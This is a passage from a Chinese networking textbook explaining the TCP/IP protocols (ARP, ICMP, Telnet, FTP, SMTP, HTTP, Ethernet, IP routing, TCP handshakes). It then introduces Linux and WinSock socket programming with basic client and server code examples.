  ARP的设计包括一个缓存。为了理解缓存的概念,考虑一下:许多现代的HTML浏览器(比如Netscape或Microsoft的Internet Explorer)使用了一个缓存。缓存是磁盘的一部分,从Web网上经常访问的东西就存在里面(比如按钮,或通用的图形)。这是符合逻辑的,因为当你返回这些主页的时候,这些东西不必再从远程计算机上装载了。从缓存中装载的速度要比较快。
  相似的,ARP的实现包括一个缓存。以这种方式,网络或远程计算机的硬件地址就存着了,并为接着的ARP请求作准备。这样节省了时间和网络资源。
  但是,正是由于缓存,就引起了安全性。
  对于网络安全来将,这并不是最重要的安全性问题。然而,地址缓存(不仅仅是在ARP而且在其他例子中)确实会引起安全性问题。一旦这些地址保存,都会是让黑客伪造一个远程连接,它们对缓存的地址很欢迎。

Internet控制消息协议ICMP
  Internet控制消息协议是用来在两台计算机间传输时处理错误和控制消息的。它允许这些主机共享信息。在这一方面,ICMP是用来诊断网络问题的重要工具。通过ICMP收集诊断信息的例子如下:
  一台主机关机
  一个网关堵塞和工作不正常
  网络中其他的失败
  可能最著名的ICMP实现的网络工具是ping。ping通常用来判断是否一台远程机器正开着,数据包从用户的计算机发到远程计算机。这些包通常返回用户的计算机。如果没有返回数据包到用户计算机,ping程序就产生一个表示远程计算机关机的错误消息。

应用层协议
  应用层协议是专门为用户提供应用服务的。它是建立在网络层协议之上的。
Telnet
Telnet在RFC 854中有详细地描述,Telnet协议中说明:Telnet协议的目的就是提供一个相当通用的,双向的,面向八位字节的通信机制。它的最初目的是允许终端和面向终端的进程之间的交互。
Telnet不仅允许用户登录到一个远程主机,它允许用户在那台计算机上执行命令。这样,Los Angeles的一个人可以Telnet到New York的一台机器,并在这台机器上运行程序,就跟在New York的用户一样。
  对于熟悉Telnet的用户来讲,他的操作与BBS的界面一样。Telnet是一个能提供建立在终端字体的访问数据库的一个应用程序。比如,多于80%的大学的图书馆的目录可以通过Telnet访问到。
  即使GUI应用程序被大大采用,Telnet这个建立在字符基础上的应用程序,仍相当的流行。这有许多原因。第一,Telnet允许你以很小的网络资源花费实现各种功能(如收发邮件)。实现安全的Telnet是件十分简单的事。有许多这样的程序,通用的是Secure Shell。
  要使用Telnet,用户要指定启动Telnet客户的命令,并在后面指定目标主机的名字。在Linux中,可以这样:

  $telnet internic.net
  这个命令启动Telnet过程,连接到internic.net。这个连接可能被接受,或被拒绝,这与目标主机的配置有关。在UNIX,Telnet命令很久以前就是内置的。也就是说,Telnet已经包含在UNIX的发行版本中有十年了。但并不是所有操作系统都将Telnet作为内置的Telnet客户。

文件传输协议FTP
  文件传输协议是从一个系统向另一个系统传递文件的标准方法。它的目标在RFC 0765中写得很清楚。
  FTP的目标是1)促进文件和程序的共享,2)鼓励间接和含蓄的使用远程计算机,3)使用户不必面对主机间使用的不同的文件存储系统,4)有效和可靠地传输文件。FTP,尽管用户可以直接通过终端来使用,是设计成让别的程序使用的。
  约有二十年,研究者调查了相当广泛的文件传输方法。FTP经历了多次改变。1971年作了第一次定义,整个的说名参见RFC 114。

FTP是怎样工作的?
  FTP文件传输应用在客户/服务环境。请求机器启动一个FTP客户端软件。这就给目标文件服务器发出了一个请求。典型地,这个要求被送到端口21。一个连接建立起来后,目标文件服务器必须运行一个FTP服务软件。
  FTPD是标准的FTP服务daemon。它的功能很简单:回复inetd收到的连接请求,并满足这些要传输文件的请求。这个daemon在许多发行版的UNIX中是个标准。
  FTPD等待一个连接请求。当这样的一个请求到达时,FTPD请求用户登录。用户提供它的合法的登录名和口令或匿名登录。
  一旦登录成功,用户可以下载文件了。在某些情况下,如果服务器的安全允许,用户可以上载文件。

简单邮件传输协议SMTP
  简单邮件传输协议的目的是使得邮件传输可靠和高效。
  SMTP是一个相当小和有效的协议。用户给SMTP服务器发个请求。一个双向的连接随后就建立了。客户发一个MAIL指令,指示它想给Internet上的某处的一个收件人发个信。如果SMTP允许这个操作,一个肯定的确认发回客户机。随后,会话开始。客户可能告知收件人的名称和IP地址,以及要发送的消息。
  尽管SMTP相当简单,邮件服务是无穷的安全漏洞的源泉。
  SMTP服务在Linux内部是内置的。其它网络操作系统也提供某些形式的SMTP。

Gopher
  Gopher是一个分布式的文件获取系统。它最初是作为Campus Wide Information System在Minnesota大学实现的。它的定义如下:
  Internet Gopher协议最初是设计用来最为一个分布式文件发送系统的。文档放在许多服务器上,Gopher客户软件给客户提供一个层次项和目录,看上去象一个文件系统。事实上,Gopher的界面设计成类似一个文件系统,因为文件系统是查找文件和服务的最好模型。
  Gopher服务功能相当强大。能提供文本,声音,和其他媒体。主要用在文本模式,比通过用浏览器使用HTTP要来得快。毫无疑问,最流行的Gopher客户软件是为UNIX编写的。其他操作系统也有Gopher客户端软件。
  典型地,用户启动一个Gopher客户端软件,和一个Gopher服务器。随后,Gopher返回一个可以选择的菜单。可能包括查找菜单,预先设置的目标,或文件目录。
  注意,Gopher模式完全是一个客户服务器模式。用户每次登录,客户给Gopher服务器发送一个请求,要求所有能得到的文档。Gopher服务器对这个信息做出反应知道用户请求一个对象。

超联结传输协议HTTP
  由于它能让用户在网上冲浪,超联结传输协议可能是最有名的协议。HTTP是一个应用层协议,它很小也很有效,符合发布、合成和超媒体文本系统的的需要。是一个通用的,面向对象的协议,通过扩展请求命令,可以用来实现许多任务。HTTP的一个特点是数据表现的类型允许系统相对独立于数据的传输。
  HTTP的出现永久地改变了Internet的特点,主要是使Internet大众化。在某些程度上,他它的操作与Gopher相类似。比如,它的工作是请求/响应式的。这是相当重要的一点。其他应用程序,比如Telnet仍需要用户登录(当他们登录时,便消耗系统资源)。但Gopher和HTTP协议,消除了这一现象。用户(客户)仅仅在他们请求或接受数据时消耗资源。
  使用通用浏览器,象Netscape Navigator或Microsoft Internet Explore,可以监视这一过程的发生。在WWW上的数据,你的浏览器会和服务器及时联系。这样,它首先获取文本,然后是图形,再后是声音,等等。在你的浏览器的状态栏的左下角。当它装载页面时,看着它几分钟。你会看到请求和服务活动的发生,通常速度很快。
  HTTP并不特别关注所需的是什么类型的数据。各种形式的媒体都能插进,以及远程的HTML主页。

网络新闻传输协议NNTP
  网络新闻传输协议是一个广泛使用的协议。它提供通常作为USENET新闻组的新闻服务。
  NNTP定义了一个协议,使用一个可靠的建立在流的基础上的在Internet上传输新闻的分发,询问,获取和发布的一个协议。NNTP被设计成新闻被存储在一个中心的数据库,允许订阅者选择他们希望读的主题。目录,交叉引用和过期的新闻都能找到。
  NNTP有许多特性和简单邮件传输协议以及TCP相似。与SMTP相似,它接受一般的英语命令。和TCP相似,它是建立在流的传输和分发的基础上的。NNTP通常在端口119运行。

下面详细地讲解一下以太网,IP协议和TCP协议。
第二节 Etherner
以太网的基本工作原理
  以太网上的所有设备都连在以太总线上,它们共享同一个通信通道。以太网采用的是广播方式的通信,即所有的设备都接收每一个信息包。网络上的设备通常将接收到的所有包都传给主机界面,在这儿选择计算机要接收的信息,并将其他的过滤掉。以太网是最有效传递的意思是,硬件并不给发送者提供有关信息已收到的信息。比如,即使目标计算机碰巧关机了,送给它的包自然就丢失,但发送者并不会知道这一点。
  以太网的控制是分布式的。以太网的存取方式叫做带有Collision的Carrier Sense Multipe Access。因为多台计算机可以同时使用以太网,每台机器看看是否有载波信号出现判定总线是否空闲。如果主机接口有数据要传输,它就侦听,看看是否有信号正在传输。如果没有探测到,它就开始传输。每次传输都在一定的时间间隔内,即传输的包有固定的大小。而且,硬件还必须在两次传输之间,观察一个最小的空闲时间,也就是说,没有一对机器可以不给其他计算机通信的机会而使用总线。

冲突侦测和恢复
  当开始一个传输时,信号并不能同时到达网络的所有地方。传输速度实际上是光速的80%。这就有可能两个设备同时探测到网络是空闲的,并都开始传输。但当这两个电信号在网络上相遇时,它们都不再可用了。这种情况叫做冲突。
  以太网在处理这种情况时,很有技巧性。每台设备在它传输信号的时候都监视总线,看看它在传输的时候是否有别的信号的干扰。这种监视叫做冲突侦听。在探测到冲突后,设备就停止传输。有可能网络会因为所有的设备都忙于尝试传输数据而每次都产生冲突。
  为了避免这种情况,以太网使用一个2进制指数后退策略。发送者在第一次冲突后等待一个随机时间,如果第二次还是冲突,等待时间延长一倍。第三次则再延长一倍。通过这种策略,即使两台设备第二的等待时间会很接近,但由于后面的等待时间成指数倍增长,不就,他们就不会相互冲突了。

以太网的硬件地址
  每台连接到以太网上的计算机都有一个唯一的48位以太网地址。以太网卡厂商都从一个机构购得一段地址,在生产时,给每个卡一个唯一的地址。通常,这个地址是固化在卡上的。这个地址又叫做物理地址。
  当一个数据帧到达时,硬件会对这些数据进行过滤,根据帧结构中的目的地址,将属于发送到本设备的数据传输给操作系统,忽略其他任何数据。
  一个是地址位全为1的时表示这个数据是给所有总线上的设备的。

以太网的帧结构
  以太网的帧的长度是可变的,但都大于64字节,小于1518字节。在一个包交换网络中,每个以太网的帧包含一个指明目标地址的域。上图是以太网帧的格式,包含了目标和源的物理地址。为了识别目标和源,以太网帧的前面是一些前导字节,类型和数据域以及冗余校验。前导由64个0和1交替的位组成,用于接收同步。32位的CRC校验用来检测传输错误。在发送前,将数据用CRC进行运算,将结果放在CRC域。接收到数据后,将数据做CRC运算后,将结果和CRC域中的数据相比较。如果不一致,那么传输过程中有错误。
  帧类型域是一个16位的整数,用来指示传输的数据的类型。当一个帧到达台设备后,操作系统通过帧类型来决定使用哪个软件模块。从而允许在同一台计算机上同时运行多个协议。
第三节 Internet地址
  网络上的每一台计算机都有一个表明自己唯一身份的地址。TCP/IP协议对这个地址做了规定。一个IP地址由一个32位的整数表示。它的一个较为聪明的地方是很好的规定了地址的范围和格式,从而使地址寻址和路由选择都很方便。一个IP地址是对一个网络和它上面的主机的地址一块编码而形成的一个唯一的地址。
  在同一个物理网络上的主机的地址都有一个相同前缀,即IP地址分成两个部分:(netid,hostid)。其中netid代表网络地址,hostid代表这个网络上的主机地址,根据他们选择的位数的不同,可以分成以下五类基本IP地址。


  通过地址的前3位,就能区分出地址是属于A,B或C类。其中A类地址的主机容量有16777216台主机,B类地址可以有65536台主机,C类地址可以有256台主机。
  将地址分成网络和主机部分,在路由寻址时非常有用,大大提高了网络的速度。路由器就是通过IP地址的netid部分来决定是否发送和将一个数据包发送到什么地方。
  一个设备并不只能有一个地址。比如一个连到两个物理网络上的路由器,它就有两个IP地址。所以可以将IP地址看成是一个网络连接。
  为了便于记忆和使用32位的IP地址,可以将地址使用用小数点分开的四位整数来表示。下面举个例子:

IP地址: 10000000 00001010 00000010 00011110
记为: 128.10.2.30

第四节 IP协议和路由
IP协议
  IP协议定义了一种高效、不可靠和无连接的传输方式。由于传输没有得到确认,所以是不可靠的。一个包可能丢失了,或看不见了,或是延时了,或是传输顺序错了。但是传输设备并不检测这些情况,也不通知通信双方。无连接 因为每个包的传递与别的包是相互独立的。同一个机器上的包可能通过不同的路径到达另一台机器,或在别的机器上时已经丢失。由于传输设备都试图以最快的速度传输,所以是最高效的。
  IP协议定义了通过TCP/IP网络传输的数据的格式,定义了数据进行传递的路由功能。

IP数据包的格式如下:
  由一个头和数据部分组成。数据包的头部分包含诸如目的地址和源地址,数据的类型等信息。

数据包头格式:
  数据包是由软件处理的,它的内容和格式并不是由硬件所限定。
  比如,头4位是一个VERS,表示的是使用的IP协议的版本号。它表示发送者、接收者和路由器对该数据的处理都要按所示的版本进行处理。现在的版本号是4。软件通过版本来决定怎样进行处理。
  头长度(HLEN)也是用4位来表示以32位为计量单位的头的长度。
  TOTAL LENGTH表示这个数据包的长度(字节数)。从而包中的数据的长度就可以通过上面两个数据而计算出来了。
  一般来说,数据部分就是一个物理的帧。对于以太网来讲,就是将整个的一个以太网的帧数据作为一个IP数据包的数据来传输的。
  数据包的头里面还包含了一些其他的信息,请参见有关资料的具体介绍。

IP路由
  在一个网络上,连接两种基本设备,主机和路由器。路由器通常连接几个物理网络。对一台主机来讲,要将一个数据包发往别的网络,就需要知道这个数据包应该走什么路径,才能到达目的地。对于一台路由器来讲,将收到的数据包发往哪个物理网络。因此,无论主机还是路由器,在发送数据包是都要做路由选择。
  数据发送有两种方式:直接数据发送和间接数据发送。
  直接数据发送通常是在同一个物理网络里进行的。当一个主机或路由器要将数据包发送到同一物理网络上的主机上时,是采用这种方式的。首先判断IP数据包中的目的地址中的网络地址部分,如果是在同一个物理网络上,则通过地址分析,将该IP目的地址转换成物理地址,并将数据解开,和该地址合成一个物理传输帧,通过局域网将数据发出。
  间接数据发送是在不同物理网络里进行的。当一个主机或路由器发现要发送的数据包不在同一个物理网络上时,这台设备就先在路由表中查找路由,将数据发往路由中指定的下一个路由器。这样一直向外传送数据,到最后,肯定有一个路由器发现数据要发往同一个物理网络,于是,再用直接数据发送方式,将数据发到目的主机上。
  主机和路由器在决定数据怎样发送的时候,都要去查找路由。一般,都将路由组成一个路由表存在机器中。路由表一般采用Next-Hop格式,即(N,R)对。N是目标地址的网络地址,R是传输路径中的下一个路由。通常这个路由和这台机器在同一物理网络里。
第五节 TCP协议
TCP传输原理
  TCP协议在IP协议之上。与IP协议提供不可靠传输服务不同的是,TCP协议为其上的应用层提供了一种可靠传输服务。这种服务的特点是:可靠、全双工、流式和无结构传输。
  它是怎样实现可靠传输的呢?
  TCP协议使用了一个叫积极确认和重发送(positive acknowledgement with retransmission)的技术来实现这一点的。
  接收者在收到发送者发送的数据后,必须发送一个相应的确认(ACK)消息,表示它已经收到了数据。
  发送者保存发送的数据的记录,在发送下一个数据之前,等待这个数据的确认消息。在它发送这个数据的同时,还启动了一个记时器。如果在一定时间之内,没有接收到确认消息,就认为是这个数据在传送时丢失了,接着,就会重新发送这个数据。
  这种方法还产生了一个问题,就是包的重复。如果网络传输速度比较低,等到等待时间结束后,确认消息才返回到发送者,那么,由于发送者采用的发送方法,就会出现重复的数据了。解决的一个办法是给每个数据一个序列号,并需要发送者记住哪个序列号的数据已经确认了。为了防止由于延时或重复确认,规定确认消息里也要包含确认序列号。从而发送者就能知道哪个包已经确认了。
  TCP协议中还有一个重要的概念:滑动窗口。这一方法的使用,使得传输更加高效。
  有前面的描述可见,发送者在发送完一个数据包之后,要等待确认。在它收到确认消息之前的这段时间是空闲的。如果网络延时比较长,这个问题会相当明显。
  滑动窗口方法是在它收到确认消息以前,发送多个数据包。可以想象成有一个窗口在一个序列上移动。

  如果一个包发送出去之后还没有确认,叫做未确认包。通常未确认的包的个数就是窗口的大小。
  此窗口的大小为8。发送者允许在接收到一个确认消息以前发送8个数据包。当发送者接到窗口中第一个包的确认消息时,它就将窗口下滑一个。
  在接收端,也有一个滑动窗口接收和确认一个包。

端口
使用TCP传输就是建立一个连接。在TCP传输中一个连接有两个端点组成。其实,一个连接代表的是发送和接收两端应用程序的之间的一个通信。可以把他们想象成建立了一个电路。通常一个连接用下面的公式表示:
(host,port)
host是主机,port是端口。TCP端口能被几个应用程序共享。对于程序员来讲,可以这样理解:一个应用程序可以为不同的连接提供服务。

TCP格式
  TCP传输的单位是段,在建立连接,传送数据,确认消息和告之窗口大小时均要进行段的交换。
  段的格式如下图:

  段的格式也分成两部分,头和数据。
  上面格式中的名称已经足够说明了他们的作用了。具体的含义请参见有关资料。

建立一个TCP连接
  TCP协议使用一个三次握手来建立一个TCP连接的。


  握手过程的第一个段的代码位设置为SYN,序列号为x,表示开始一次握手。接收方收到这个段后,向发送者回发一个段。代码位设置为SYN和ACK,序列号设置为y,确认序列号设置为x+1。发送者在受到这个段后,知道就可以进行TCP数据发送了,于是,它又向接收者发送一个ACK段,表示,双方的连接已经建立。
  在完成握手之后,就开始正式的数据传输了。
  上面握手段中的序列号都是随机产生的。

第三章 网络编程
本章主要介绍一下网络编程的基本知识。由于书中后面章节都有一些简单的源程序实例来对各章的基本概念进行解释,因此必须具备必要的网络编程知识。
在平时工作中,为了查找安全漏洞,也需要编写一些短小精悍的程序来代替复杂的手工命令输入。
在操作系统一章中对Linux中的C语言编程和调试已经作了介绍。本章在前两章的基础上,首先对Linux中的网络编程作介绍,Linux对网络通信提供了很好的支持。由于Windows系统目前很流行,特别是开发环境Visual C++,所以,本章也对Windows环境下的网络编程作了介绍。
第一节 Linux网络编程(Berkeley Sockets)
我们可以认为套接字是将Unix系统的文件操作推广到提供点对点的通信。如果要操作文件,应用程序会根据应用程序的需要为之创建一个套接字。操作系统返回一个整数。应用程序通过引用这个正数来使用这个套接字。文件描述符和套接字描述符的不同点在于,在程序调用open()时,操作系统将一个文件描述符绑定到一个文件或设备,但在创建一个套接字时,可以不将它绑定到一个目标地址。程序可以在任何想要用这个套接字的时候指定目标地址。
在点对点的通信程序中,我们将请求服务或数据的程序叫做客户端程序,提供数据或服务的软件叫做服务器程序。
图1是一个面向连接的服务器程序和客户端程序的流程图。
对于使用无连接协议的服务器程序和客户端程序的流程,请参见图2。图中,客户端程序并不和服务器程序建立连接,它是通过使用服务器地址作为参数的sendto()系统调用,发送一个数据报给服务器的。同样,服务器并不接受客户端的连接,而是用recvfrom()调用等待从客户端来的数据。

套接字系统调用
  下面解释一下几个基本的套接字系统调用函数。只要你将下面的函数与系统的输入输出函数调用加以对比,就能很快地掌握这些函数调用了。

socket()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int socket(int family, int type, int protocol);
------------------------------------------------------------

int family参数指定所要使用的通信协议,取以下几个值。
值 含义
AF_UNIX Unix内部协议
AF_INET Internet协议
AF_NS Xerox NS协议
AF_IMPLINK IMP 连接层

int type 指定套接字的类型,取以下几个值

值 含义
SOCK_STREAM 流套接字
SOCK_DGRAM 数据报套接字
SOCK_RAW 未加工套接字
SOCK_SEQPACKET 顺序包套接字

int protocol 参数通常设置为0。

  socket()系统调用返回一个整数值,叫做套接字描述字sockfd,它的原理与文件描述符一样。网络I/O的第一步通常就是调用这个函数。

socektpair()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int socketpair(int family, int type, int protocol, int sockvec[2]);
------------------------------------------------------------

  这个调用返回两个套接字描述符, sockvec[0]和sockvec[1],它们没有名字,但是连着的。这个调用与管道系统调用类似。由这个调用创建的结构叫做一个流管道。

bind()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int bind(int sockfd, struct sockaddr *myaddr, int addrlen);
------------------------------------------------------------

  这个调用将一个名字命名给一个没有名字的套接字。第二个参数myaddr是指向一个特定协议地址的指针,第三个参数是这个地址结构的大小。
  bind()有三个作用:
   服务器在系统里登记它们的地址
   客户为它自己注册一个地址
   一个没有连接的客户确保系统固定分配给它一个唯一的地址

connect()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int connect(int sockfd, struct sockaddr *servaddr, int addrlen);
------------------------------------------------------------

  这个过程在socket()调用后,将一个套接字描述符和一个与服务器建立的连接的联系。sockfd是一个由socket()调用返回的套接字描述符。第二个参数是服务器套接字地址的指针,第三个参数是这个地址的长度。

listen()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int listen(int sockfd, int backlog)
------------------------------------------------------------

  面向连接的服务器使用这个系统调用,来表示它希望接受连接。
  这个系统调用通常在socket()和bind()之后,在accept()调用之前调用。参数backlog表示当它们等待执行accept()系统调用之前,系统能对多少个连接请求进行排队。

accept()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int accept(int sockfd, struct sockaddr *peer, int *addrlen);
------------------------------------------------------------
  在一个建立好连接的服务器执行了listen()系统调用之后,一个实际和客户的连接过程等待服务器调用accept()系统调用。
  accept()取出在队列里的第一个连接请求,并且创建另一个和sockfd有相同属性套接。如果队列中没有连接请求,这个调用就将调用者阻塞,知道有请求为止。
  peer和addrlen 参数用来返回连接的客户的地址。调用者在调用之前设置addrlen的值,系统调用通过它返回一个值。

send(), sendto(), recv(), recvfrom()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int send(int sockfd, char *buff, int nbytes, int flags);

int sendto(int sockfd, char *buff, int nbytes, int flags,
struct sockaddr *to, int addrlen);

int recv(int sockfd, char *buff, int nbytes, int flags);

int recvfrom(int sockfd, char *buff, int nbytes, int flags,
struct sockaddr *from, int addrlen);
------------------------------------------------------------

  这些调用与标准的系统调用read()和write()相似。
  这些调用需要附加的参数。Flag参数可以是0或者下列常数:
   MSG_OOB 接受或发送绑定外的数据
   MSG_PEEK 监视进入信息
   MSG_DONTROUTE 绕过路由

close()
------------------------------------------------------------
#include < sys/types.h>
#include < sys/socket.h>

int close(int sockfd);
------------------------------------------------------------

  关闭一个套接字。
编程实例
从一个描述符读n字节数据
/* 从一个描述符读n字节数据 */
int readn(register int fd, register char *ptr, register int nbytes)
{
int nleft, nread;

nleft=nbytes;
while (nleft > 0){
nread=read(fd,ptr,nleft);
if(nread < 0)
return(nread);
else if (nread==0)
break;
nleft-=nread;
ptr +=nread;
}
return(nbytes - nleft);
}

写n字节数据到一个描述符
/* 写n字节数据到一个描述符 */
int writen(register int fd, register char *ptr, register int nbytes)
{
int nleft, nwritten;
nleft=nbytes;
while(nleft>0){
nwritten=write(fd,ptr,nleft);
if(nwritten< =0)
return(nwritten);
nleft -= nwritten;
ptr += nwritten;
}
return(nbytes-nleft);}

TCP编程
/* inet.h
* 服务器和客户端程序的头文件。
*/
#include < stdio.h>
#include < sys/types.h>
#include < sys/socket.h>
#include < netinet/in.h>
#include < arpa/inet.h>

#define SERV_UDP_PORT 6000
#define SERV_TCP_PORT 6000
#define SERV_HOST_ADDR "192.43.235.6" /* host addr for server */

char *pname;

服务器程序如下:
/* TCP服务器程序 */
#include "inet.h"

main(int argc, char * argv)
{
int sockfd, newsockfd, clilen, childpid;
struct sockaddr_in cli_addr, serv_addr;

pname = argv[0];

/* 打开一个TCP套接字 (一个Internet流套接字) */

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
err_dump("server: can't open stream socket");

/* 绑定本地地址,这样,客户机就能访问到服务器。*/

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(SERV_TCP_PORT);

if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
err_dump("server: can't bind local address");

listen(sockfd, 5);

for ( ; ; ) {
/* 等待一个来自客户机的连接进程,这是一个并发的服务器。*/

clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
err_dump("server: accept error");

if ( (childpid = fork()) < 0)
err_dump("server: fork error");

else if (childpid == 0) { /* 子进程 */
close(sockfd); /* 关闭原来的套接字 */
str_echo(newsockfd); /* 处理请求 */
exit(0);
}

close(newsockfd); /* 父进程 */
}
}

服务机代码:
/* 使用TCP协议客户机 */
#include "inet.h"

main(argc, argv)
int argc;
char *argv[];
{
int sockfd;
struct sockaddr_in serv_addr;

pname = argv[0];

/* 在结构"serv_addr"里填入想要连接的服务器的地址*/

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(SERV_HOST_ADDR);
serv_addr.sin_port = htons(SERV_TCP_PORT);

/* 打开一个TCP套接字(一个Internet 流套接字) */

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
err_sys("client: can't open stream socket");

/* 连到服务器上*/

if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
err_sys("client: can't connect to server");

str_cli(stdin, sockfd); /* 全部输出 */

close(sockfd);
exit(0);
}

套接字和信号量
  在使用一个套接字时,可以产生三个信号量。
   (SIGIO) 这个信号量表示一个套接字已经准备好进行异步I/O了。这个信号量会发给这个套接字的所有进程。这些进程是通过用FIOSETOWN 或 SIOCSPGRP 调用ioctl而建立的。或者是用F_SETOWN调用fcntl建立的。这个信号量只在这个进程在这个套接字上,用FIOASYNC调用ioctl或用FASYNC调用fcntl后,可以进行异步I/O后发给这些进程的。
   (SIGURG) 这个信号量表示出现了一个紧急情形。一个紧急情形是任何一个在套接字上一个出现了一个超过带宽的数据的到达信息。超过带宽表示在用户进程到达的数据超出了I/O缓冲区了。
   (SIGPIPE) 这个信号量表明我们不再会向套接字,管道或FIFO写数据了。
异步I/O
  异步I/O允许进程通知操作系统内核,如果一个指定的描述符可以进行I/O时,内核通知该进程。这通常叫做信号量驱动I/O。内核通知进程的信号量是SIGIO。
  为了实现异步I/O,一个进程必须:
   建立一个处理SIGIO信号量的程序。
   将进程ID或进程组ID设置好,能接受SIGIO信号量。这是由fcntl命令实现的。
   进程必须用dcntl系统调用,激活异步I/O。
第二节 Windows网络编程(WinSock)
  这里介绍WinSock创建TCP流套接字程序。Winsock的编程和第一部分将的非常的相似。

创建TCP流套接字服务器程序
  用socket()函数打开一个流套接字。用AF_INET指定地址格式参数,SOCK_STREAM指定类型参数。

if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}

  使用SOCKADDR_IN结构作为地址参数,用bind()函数命名套接字。
  用socket()函数打开一个套接字时,这个套接字没有名字,仅仅在一个地址家族名字空间里分配了一个描述符。为了让客户端套接字区分开来,一个TCP流套接字服务器程序必须命名它的套接字。但不必用bind()函数命名客户端的套接字。
  一个套接字的名字在TCP/TP协议里由三部分组成:协议名称,主机地址和一个表征应用程序的端口数字。这些地址域sin_family, sin_addr, sin_port都是SOCKADDR_IN结构的成员。必须在调用bind()之前初始化SOCKADDR_IN结构。
  下面的这段代码示范怎样初始化SOCKADDR_IN结构和调用bind()函数。

// 填写本地套接字地址数据
local_sin.sin_family = AF_INET;
local_sin.sin_port = htons (PORTNUM);
local_sin.sin_addr.s_addr = htonl (INADDR_ANY);

// 将本地地址和WinSocket相连
if (bind (WinSocket,
(struct sockaddr *) &local_sin,
sizeof (local_sin)) == SOCKET_ERROR)
{
wsprintf (szError, TEXT("Binding socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}

  使用listen()函数侦听。为了准备一个TCP流套接字服务器的一个名字连接,必须侦听从客户端来的连接。
  下面这个例子说明了怎样使用listen()函数。

if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Listening to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}

  使用accept()接受客户端的连接。
  TCP流服务器套接字使用这个函数来完成服务器和客户端的名字连接过程。
  Accept()函数创建一个新的套接字。初始的由服务器打开的套接字继续侦听该端口,可以一直接受连接,知道关闭。服务器程序必须负责关闭侦听套接字以及在接受客户连接是创建的所有套接字。
  下面的代码是accept()函数应用的示范。

accept_sin_len = sizeof (accept_sin);

// 接受一个试图在WinSocket上连接的请求
ClientSock = accept (WinSocket,
(struct sockaddr *) &accept_sin,
(int *) &accept_sin_len);

// 停止对客户连接的侦听
closesocket (WinSocket);

if (ClientSock == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Accepting connection with client
failed.") TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}

  使用send() and recv()函数发送和接受客户的数据。
  一旦客户端和服务端的套接字连接上后,就能使用上述两个函数交换数据。
  Send()函数将数据输出到套接字上。Recv()函数从套接字中读取数据。
  下面的代码是上述两个函数的应用示范。

for (;
{
// 从客户端接受数据
iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);

// 确认数据收到后,显示数据
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, receive failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Server"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"),
TEXT("Server"), MB_OK);
break;
}
else
{
// 将ASCII字符串转换成Unicode字符串
for (index = 0; index < = sizeof (szServerA); index++)
szServerW[index] = szServerA[index];

// 显示从客户端接收到的数据
MessageBox (NULL, szServerW, TEXT("Received From Client"),
MB_OK);
}
}

// 从服务器给客户端发个数据
if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}

  成功地完成send()函数的调用并不能说明数据的发送是成功的。
  使用closesocket()函数来断开连接。当服务器和客户端数据交换结束后,使用这个函数关闭套接字。为了在一个TCP连接确认数据已经交换了,一个程序应该在调用这个函数之前调用shutdown()函数。
  一个程序应该在程序结束前,关闭所有打开的程序,以便将套接字资源返回给操作系统。对于TCP流套接字,当一个套接字连接结束后,服务器关闭了有accept()创建的套接字,但最先的侦听套接字还是打开的。在程序结束前要将侦听套接字也关闭。

创建TCP流套接字客户端程序
  用socket()函数打开一个流套接字。 调用这个函数时使用AF_INET作为地址格式参数,用SOCK_STREAM做类型参数。
  用SOCKADDR_IN结构作为名字参数调用connect()函数和服务器连接。TCP流套接字客户端通过这个函数将名字和服务器相连。
  在调用connect()函数之前要初始化SOCKADDR_IN 结构,这和bind()函数调用类似,但是sin_port 和sin_addr用远程的套接字名字,而不是本地的。
  下面这段代码显示怎样和服务器相连。

// 建立一个和服务器套接字的连接
if (connect (ServerSock,
(PSOCKADDR) &destination_sin,
sizeof (destination_sin)) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Connecting to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}

  用send()和recv*(函数和服务器交换数据。用closesocker()函数关闭连接。

第三节 MFC中的编程
